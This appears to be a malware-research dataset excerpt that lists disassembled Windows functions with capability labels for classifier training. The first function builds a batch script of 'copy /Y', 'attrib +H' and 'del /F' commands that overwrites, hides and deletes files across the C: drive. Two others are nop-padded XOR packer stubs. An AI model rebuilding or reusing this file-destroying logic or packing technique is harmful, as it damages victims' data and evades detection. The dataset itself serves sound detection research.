joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4016e0
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x554
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x54c], eax
push ebx
push ebp
movsx ebp, byte [esp + 0x560]
push esi
push edi
push ebp
push 0x4031fc
call dword [sym.imp.MSVCR90.dll_printf]
mov eax, str.abcdedfghigkskjd
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401717
sub eax, edx
mov ebx, eax
mov eax, str.abcdedfghigkskjd
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401730
mov edi, dword [sym.imp.MSVCR90.dll_rand]
sub eax, edx
mov esi, eax
call edi
xor edx, edx
div ebx
movsx eax, byte [edx + str.abcdedfghigkskjd]
push eax
call edi
xor edx, edx
div esi
mov esi, dword [sym.imp.MSVCR90.dll_sprintf]
movsx ecx, byte [edx + str.abcdedfghigkskjd]
push ecx
push str.c:myShell_time2playD1sk_c_c.bat
push 0x40e198
call esi
mov bl, byte [esp + 0x578]
add esp, 0x10
call fcn.004015f0
test eax, eax
je 0x40178c
mov eax, 1
jmp 0x4018b5
push 0x403238
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 4
push 0x403150
push 0x40e198
call dword [sym.imp.MSVCR90.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x401782
push ebp
lea edx, [esp + 0x18]
push str._c:
push edx
call esi
add esp, 0xc
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x401782
mov ebx, dword [sym.imp.MSVCR90.dll_fprintf]
test byte [esp + 0x18], 0x10
je 0x401861
xor eax, eax
jmp 0x4017f0
mov cl, byte [esp + eax + 0x44]
mov byte [esp + eax + 0x158], cl
inc eax
test cl, cl
jne 0x4017f0
lea esi, [esp + 0x158]
call fcn.00401630
test eax, eax
jne 0x401861
cmp byte [esp + 0x56c], al
jne 0x401842
lea edx, [esp + 0x44]
push edx
push ebp
push 0x40e598
push str.copy__Y___s____c:_s.exe__n
push edi
call ebx
add esp, 0x14
lea eax, [esp + 0x44]
push eax
push ebp
push str.attrib_H___c:_s__n
push edi
call ebx
add esp, 0x10
jmp 0x401861
lea ecx, [esp + 0x44]
push ecx
push ebp
push str.del__F___c:_s.exe__n
push edi
call ebx
lea edx, [esp + 0x54]
push edx
push ebp
push str.attrib__H___c:_s__n
push edi
call ebx
add esp, 0x20
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4017e2
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call dword [sym.imp.MSVCR90.dll_fclose]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x64
call esi
push 0x40e198
call fcn.00401170
add esp, 4
push 0x64
call esi
push str.done__n
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x55c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401d84
add esp, 0x554
ret
Function at 0x401d84
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401d8e
repz ret
jmp fcn.0040203f
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10008340
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.100252c0
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
nop
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x378b4c44
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x54387db3
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4021d0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4021f5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402200
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4021f5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402248
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40223e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40224a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402230
xor eax, eax
pop ebx
pop esi
ret

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..retplne
nop
mov ebx, 0x40de38
nop
mov ecx, 0x1ed740fe
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x596161f1
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x402814
Capabilities:
Accept command line arguments

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
push edi
push dword [0x411808]
call fcn.0040b0c7
mov ebp, eax
or ebx, 0xffffffff
xor eax, eax
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, dword [esp + 0x1c]
movzx edx, word [eax]
test dx, dx
je 0x402914
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x10], 0x20
mov dword [esp + 0x14], 0x22
cmp dx, word [esp + 0x10]
jne 0x40286a
push 0x20
pop edx
add eax, 2
cmp word [eax], dx
je 0x402862
movzx edx, word [eax]
mov dword [esp + 0x1c], 1
cmp dx, word [esp + 0x14]
jne 0x4028aa
add eax, 2
mov esi, eax
movzx ecx, word [eax]
test cx, cx
je 0x4028ec
push 0x22
pop edx
cmp cx, dx
je 0x40289c
add eax, 2
movzx ecx, word [eax]
test cx, cx
jne 0x40288c
xor ecx, ecx
cmp word [eax], cx
je 0x4028ec
mov ecx, eax
add eax, 2
jmp 0x4028ee
test dx, dx
je 0x4028f4
push 0x20
mov esi, eax
pop ecx
cmp dx, cx
je 0x40289c
add eax, 2
push 0x22
pop edx
cmp word [eax], dx
jne 0x4028e2
add eax, 2
movzx ecx, word [eax]
test cx, cx
je 0x4028ec
cmp cx, dx
je 0x4028df
add eax, 2
movzx ecx, word [eax]
test cx, cx
jne 0x4028cf
push 0x20
pop ecx
movzx edx, word [eax]
test dx, dx
jne 0x4028b4
jmp 0x40289c
mov ecx, eax
mov edx, dword [esp + 0x1c]
jmp 0x4028f6
xor edx, edx
cmp dword [ebp], ebx
jne 0x4028ff
test edi, edi
jne 0x40291c
test edx, edx
je 0x402904
inc ebx
xor edx, edx
mov esi, edx
movzx edx, word [eax]
test dx, dx
jne 0x402858
test edi, edi
jne 0x40292d
mov eax, ebx
jmp 0x402931
test esi, esi
je 0x40292d
sub ecx, esi
mov eax, esi
sar ecx, 1
mov dword [edi], ecx
inc dword [ebp]
jmp 0x402931
xor ecx, ecx
mov dword [edi], ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
Function at 0x4030f7
Capabilities:
Get disk information
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x45c
push esi
or esi, 0xffffffff
push edi
mov edi, esi
test eax, eax
je 0x40323f
xor ecx, ecx
cmp word [eax], cx
je 0x40323f
push 0x104
push eax
lea eax, [esp + 0x10]
push eax
call sub.MSVCRT.dll_wcsncpy
xor eax, eax
mov word [esp + 0x21c], ax
lea eax, [esp + 0x14]
push eax
call sub.MSVCRT.dll_wcslen
add esp, 0x10
lea ecx, [esp + eax*2 + 6]
cmp eax, 2
je 0x403150
cmp eax, 3
jne 0x40318a
cmp word [esp + 0xa], 0x3a
jne 0x40318a
cmp eax, 2
jne 0x40316e
lea eax, [esp + 8]
push 0x40d024
push eax
call sub.MSVCRT.dll_wcscat
pop ecx
pop ecx
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x40323f
push 0xfffffffffffffffe
pop edi
jmp 0x40323f
push ebx
push ebp
push 0x5c
pop ebp
push 0x2f
pop ebx
movzx eax, word [ecx]
cmp ax, bp
je 0x40319f
cmp ax, bx
jne 0x4031a9
xor eax, eax
mov word [ecx], ax
sub ecx, 2
jmp 0x403192
lea eax, [esp + 0x21c]
push eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, esi
je 0x4031e8
test byte [esp + 0x21c], 0x10
je 0x4031cf
push 0xfffffffffffffffe
pop edi
jmp 0x4031df
mov esi, dword [esp + 0x238]
xor edi, edi
or edi, dword [esp + 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x40323d
cmp word [esp + 0x10], bp
jne 0x4031f6
cmp word [esp + 0x12], bp
je 0x403215
cmp word [esp + 0x10], bx
jne 0x403204
cmp word [esp + 0x12], bx
je 0x403215
push 0x2e
pop eax
cmp word [esp + 0x10], ax
jne 0x40323d
cmp word [esp + 0x12], ax
jne 0x40323d
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, esi
je 0x40322a
test al, 0x10
je 0x40323d
jmp 0x40323a
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x40323d
push 0xfffffffffffffffe
pop edi
pop ebp
pop ebx
mov eax, edi
mov edx, esi
pop edi
pop esi
add esp, 0x45c
ret 4

Function at 0x40324e
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
cmp dword [ebp + 8], 0
je 0x4032c6
push 0x104
push dword [ebp + 8]
lea eax, [ebp - 0x20c]
push eax
call sub.MSVCRT.dll_wcsncpy
xor eax, eax
mov word [ebp - 4], ax
lea eax, [ebp - 0x20c]
push eax
call sub.MSVCRT.dll_wcslen
lea ecx, [ebp - 0x20c]
add esp, 0x10
lea eax, [ecx + eax*2]
jmp 0x4032a7
movzx ecx, word [eax - 2]
cmp ecx, 0x20
je 0x4032a4
cmp ecx, 0x5c
je 0x4032a4
cmp ecx, 0x2f
jne 0x4032b1
add eax, 0xfffffffe
lea ecx, [ebp - 0x20c]
cmp eax, ecx
ja 0x403291
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x20c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
jmp 0x4032c8
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x403350
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
mov dword [esp + 4], 0
cmp dword [esi + 0x14], 0
jne 0x40338c
push 0
lea eax, [esp + 8]
push eax
mov eax, dword [esi + 8]
sub eax, dword [esi + 0xc]
push eax
push dword [esi + 4]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esi + 8]
mov dword [esi + 0xc], eax
mov eax, dword [esp + 4]
pop esi
pop ecx
ret 4
xor eax, eax
pop esi
pop ecx
ret 4
Function at 0x4036a0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0x10]
mov dword [esp + 4], 0
test esi, esi
je 0x403705
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x4036fd
push dword [esp + 0x10]
push dword [0x411828]
call fcn.0040b130
test eax, eax
je 0x4036f3
cmp dword [eax + 4], 0
je 0x4036e2
push edi
push esi
push eax
call fcn.004037c0
pop edi
pop esi
pop ecx
ret 0xc
push 0
lea ecx, [esp + 0xc]
push ecx
push edi
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 0xc
pop edi
xor eax, eax
pop esi
pop ecx
ret 0xc
xor eax, eax
pop esi
pop ecx
ret 0xc

Function at 0x4037c0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0xc
push esi
mov esi, dword [esp + 0x14]
mov dword [esp + 4], 0
cmp dword [esi + 0x1c], 0
jne 0x4038c7
cmp dword [esi + 0x14], 1
jne 0x40380b
mov eax, dword [esi + 0xc]
lea ecx, [esp + 0xc]
push 1
neg eax
cdq
push ecx
push eax
push dword [esi]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esi + 8]
mov dword [esi + 0x14], 0
mov dword [esi + 0xc], eax
mov eax, dword [esi + 0xc]
push edi
mov edi, dword [esp + 0x20]
cmp eax, edi
jle 0x403888
mov ecx, dword [esi + 8]
add ecx, dword [esi + 4]
sub ecx, eax
mov eax, edi
dec eax
je 0x403873
dec eax
je 0x40385c
sub eax, 2
je 0x403847
push edi
push dword [esp + 0x20]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, edi
sub dword [esi + 0xc], edi
pop edi
pop esi
add esp, 0xc
ret 0xc
mov eax, dword [esp + 0x1c]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, edi
sub dword [esi + 0xc], edi
pop edi
pop esi
add esp, 0xc
ret 0xc
mov eax, dword [esp + 0x1c]
mov ax, word [eax]
mov word [ecx], ax
mov eax, edi
sub dword [esi + 0xc], edi
pop edi
pop esi
add esp, 0xc
ret 0xc
mov eax, dword [esp + 0x1c]
mov al, byte [eax]
mov byte [ecx], al
mov eax, edi
sub dword [esi + 0xc], edi
pop edi
pop esi
add esp, 0xc
ret 0xc
push esi
call fcn.00403350
mov eax, dword [esi + 8]
cmp edi, eax
jl 0x4038b5
push 0
lea eax, [esp + 0xc]
push eax
push edi
push dword [esp + 0x28]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
add esp, 0xc
ret 0xc
mov ecx, dword [esi + 4]
sub ecx, dword [esi + 0xc]
push edi
push dword [esp + 0x20]
add ecx, eax
jmp 0x403831
xor eax, eax
pop esi
add esp, 0xc
ret 0xc
Function at 0x4038d0
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
cmp dword [esi + 0x14], 0
jne 0x4038f1
push esi
call fcn.00403350
mov dword [esi + 0x14], 1
mov dword [esi + 0xc], 0
mov ebx, dword [esi + 0xc]
mov edi, dword [esp + 0x18]
mov eax, dword [esi + 0x10]
cmp ebx, edi
jl 0x403965
add eax, dword [esi + 4]
mov ecx, edi
sub eax, ebx
dec ecx
je 0x403952
dec ecx
je 0x40393d
sub ecx, 2
je 0x40392a
push edi
push eax
push dword [esp + 0x1c]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, edi
sub dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
ret 0xc
mov ecx, dword [eax]
mov eax, dword [esp + 0x14]
mov dword [eax], ecx
mov eax, edi
sub dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
ret 0xc
mov cx, word [eax]
mov eax, dword [esp + 0x14]
mov word [eax], cx
mov eax, edi
sub dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
ret 0xc
mov ecx, dword [esp + 0x14]
mov dl, byte [eax]
mov eax, edi
mov byte [ecx], dl
sub dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
ret 0xc
push ebp
mov ebp, dword [esp + 0x18]
sub eax, ebx
add eax, dword [esi + 4]
push ebx
push eax
push ebp
call sub.MSVCRT.dll_memcpy
mov eax, dword [esi + 8]
add esp, 0xc
sub edi, ebx
add ebp, ebx
push 0
cmp edi, eax
jl 0x4039aa
lea eax, [esp + 0x18]
push eax
push edi
push ebp
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x14]
pop ebp
pop edi
mov dword [esi + 0xc], 0
add eax, ebx
pop esi
pop ebx
ret 0xc
lea ecx, [esp + 0x18]
push ecx
push eax
push dword [esi + 4]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x14]
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
cmp edi, eax
jle 0x4039cb
mov edi, eax
push edi
push dword [esi + 4]
push ebp
call sub.MSVCRT.dll_memcpy
sub dword [esi + 0xc], edi
lea eax, [ebx + edi]
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret 0xc
Function at 0x40411c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x14], edi
je 0x40417a
add ebx, 2
lea eax, [ebx*2 + 2]
push eax
push edi
push dword [0x411100]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x40417a
cmp dword [ebp + 0xc], 0
je 0x404169
push dword [ebp + 0xc]
push edi
call sub.MSVCRT.dll_wcscpy
push 0x40d070
push edi
call sub.MSVCRT.dll_wcscat
add esp, 0x10
jmp 0x404176
push 0x40d070
push edi
call sub.MSVCRT.dll_wcscpy
pop ecx
pop ecx
mov esi, edi
jmp 0x40417d
mov esi, dword [ebp + 0xc]
push 0
lea eax, [ebp + 0x10]
push eax
push ebx
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
test eax, eax
jne 0x4041e4
mov eax, dword [0x4109f4]
dec eax
dec eax
je 0x4041be
sub eax, 0x16
je 0x4041b6
push 0
lea eax, [ebp + 0x10]
push eax
lea eax, [ebx + ebx]
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x4041e4
push esi
call fcn.0040caf0
jmp 0x4041c4
push esi
call fcn.0040cb90
mov esi, eax
lea eax, [ebp + 0x10]
push 0
push eax
push esi
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call fcn.0040cae0
test edi, edi
je 0x4041f7
push edi
push 0
push dword [0x411100]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
pop ebp
ret 0x10

Function at 0x40438e
Capabilities:
Hash data using sha384

Disassembly:
mov eax, dword [esp + 4]
push 0x40
push 0x40d338
and dword [eax + 0x80], 0
and dword [eax + 0x84], 0
mov dword [eax + 0xc8], 0x30
add eax, 0x88
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
ret

Function at 0x404494
Capabilities:
Hash data using sha512

Disassembly:
mov eax, dword [esp + 4]
push 0x40
pop ecx
push ecx
and dword [eax + 0x80], 0
and dword [eax + 0x84], 0
mov dword [eax + 0xc8], ecx
add eax, 0x88
push 0x40d2f8
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
ret
Function at 0x407b50
Capabilities:
Hash data using sha256

Disassembly:
mov eax, dword [esp + 4]
push 0x20
pop ecx
push ecx
and dword [eax + 0x40], 0
and dword [eax + 0x44], 0
mov dword [eax + 0x68], ecx
add eax, 0x48
push 0x40d478
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
ret
Function at 0x409390
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
push ebx
mov ebx, dword [esp + 8]
mov eax, ebx
push ebp
or eax, edx
push esi
mov esi, dword [esp + 0x18]
or eax, esi
push edi
mov edi, dword [esp + 0x20]
or eax, edi
test al, 3
jne 0x4093f7
lea ecx, [esi + edi]
mov eax, ecx
lea edi, [ebx + edx]
sub eax, esi
xor ebx, ebx
add eax, 3
shr eax, 2
cmp ecx, esi
sbb ebp, ebp
not ebp
and ebp, eax
jbe 0x40940f
sub edi, esi
mov ecx, dword [esi]
mov edx, ecx
shr edx, 8
mov eax, ecx
shl eax, 8
xor edx, eax
shl ecx, 8
and edx, 0xff00ff
xor edx, ecx
rol edx, 0x10
inc ebx
mov dword [edi + esi], edx
lea esi, [esi + 4]
cmp ebx, ebp
jb 0x4093ce
jmp 0x40940f
add edi, edx
cmp edx, edi
jae 0x40940f
sub esi, edx
mov al, byte [esi + edx]
mov ecx, edx
xor ecx, 3
inc edx
mov byte [ecx + ebx], al
cmp edx, edi
jb 0x4093ff
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x409414
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
push ebx
mov ebx, dword [esp + 8]
mov eax, ebx
push ebp
or eax, edx
push esi
mov esi, dword [esp + 0x18]
or eax, esi
push edi
mov edi, dword [esp + 0x20]
or eax, edi
test al, 7
jne 0x40946f
lea ecx, [esi + edi]
mov eax, ecx
lea edi, [ebx + edx]
sub eax, esi
xor ebx, ebx
add eax, 7
shr eax, 3
cmp ecx, esi
sbb ebp, ebp
not ebp
and ebp, eax
jbe 0x409487
sub edi, esi
push dword [esi + 4]
push dword [esi]
call fcn.00409350
inc ebx
mov dword [edi + esi], eax
mov dword [edi + esi + 4], edx
lea esi, [esi + 8]
pop ecx
pop ecx
cmp ebx, ebp
jb 0x409452
jmp 0x409487
add edi, edx
cmp edx, edi
jae 0x409487
sub esi, edx
mov al, byte [esi + edx]
mov ecx, edx
xor ecx, 7
inc edx
mov byte [ecx + ebx], al
cmp edx, edi
jb 0x409477
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x40a390
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
push edi
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push esi
call fcn.0040a570
mov ebp, eax
add esp, 0xc
xor ebx, ebx
lea edi, [ebp*4]
test edi, edi
jle 0x40a409
mov ecx, dword [esp + 0x14]
lea esi, [esi + edi*4]
add esi, 8
add ecx, 8
mov edx, dword [ecx - 8]
lea ecx, [ecx + 0x10]
mov eax, dword [esi - 8]
lea esi, [esi - 0x10]
mov dword [ecx - 0x18], eax
add ebx, 4
mov eax, dword [esi + 0xc]
sub edi, 4
mov dword [esi + 8], edx
mov edx, dword [ecx - 0x14]
mov dword [ecx - 0x14], eax
mov eax, dword [esi + 0x10]
mov dword [esi + 0xc], edx
mov edx, dword [ecx - 0x10]
mov dword [ecx - 0x10], eax
mov eax, dword [esi + 0x14]
mov dword [esi + 0x10], edx
mov edx, dword [ecx - 0xc]
mov dword [ecx - 0xc], eax
mov dword [esi + 0x14], edx
cmp ebx, edi
jl 0x40a3c5
mov esi, dword [esp + 0x14]
cmp ebp, 1
jle 0x40a569
add esi, 2
lea edi, [ebp - 1]
mov edx, dword [esi + 0xe]
lea esi, [esi + 0x10]
mov eax, edx
shr eax, 0x18
movzx ecx, byte [eax*4 + str.ccccwwww]
movzx eax, byte [esi - 1]
mov ecx, dword [ecx*4 + 0x40e8b8]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x40f0b8]
movzx eax, byte [esi]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x40ecb8]
movzx eax, dl
mov edx, dword [esi + 2]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x40f4b8]
mov eax, edx
shr eax, 0x18
mov dword [esi - 2], ecx
movzx ecx, byte [eax*4 + str.ccccwwww]
movzx eax, byte [esi + 3]
mov ecx, dword [ecx*4 + 0x40e8b8]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x40f0b8]
movzx eax, byte [esi + 4]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x40ecb8]
movzx eax, dl
mov edx, dword [esi + 6]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x40f4b8]
mov eax, edx
shr eax, 0x18
mov dword [esi + 2], ecx
movzx ecx, byte [eax*4 + str.ccccwwww]
movzx eax, byte [esi + 7]
mov ecx, dword [ecx*4 + 0x40e8b8]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x40f0b8]
movzx eax, byte [esi + 8]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x40ecb8]
movzx eax, dl
mov edx, dword [esi + 0xa]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x40f4b8]
mov eax, edx
shr eax, 0x18
mov dword [esi + 6], ecx
movzx ecx, byte [eax*4 + str.ccccwwww]
movzx eax, byte [esi + 0xb]
mov ecx, dword [ecx*4 + 0x40e8b8]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x40f0b8]
movzx eax, byte [esi + 0xc]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x40ecb8]
movzx eax, dl
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x40f4b8]
mov dword [esi + 0xa], ecx
dec edi
jne 0x40a418
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
ret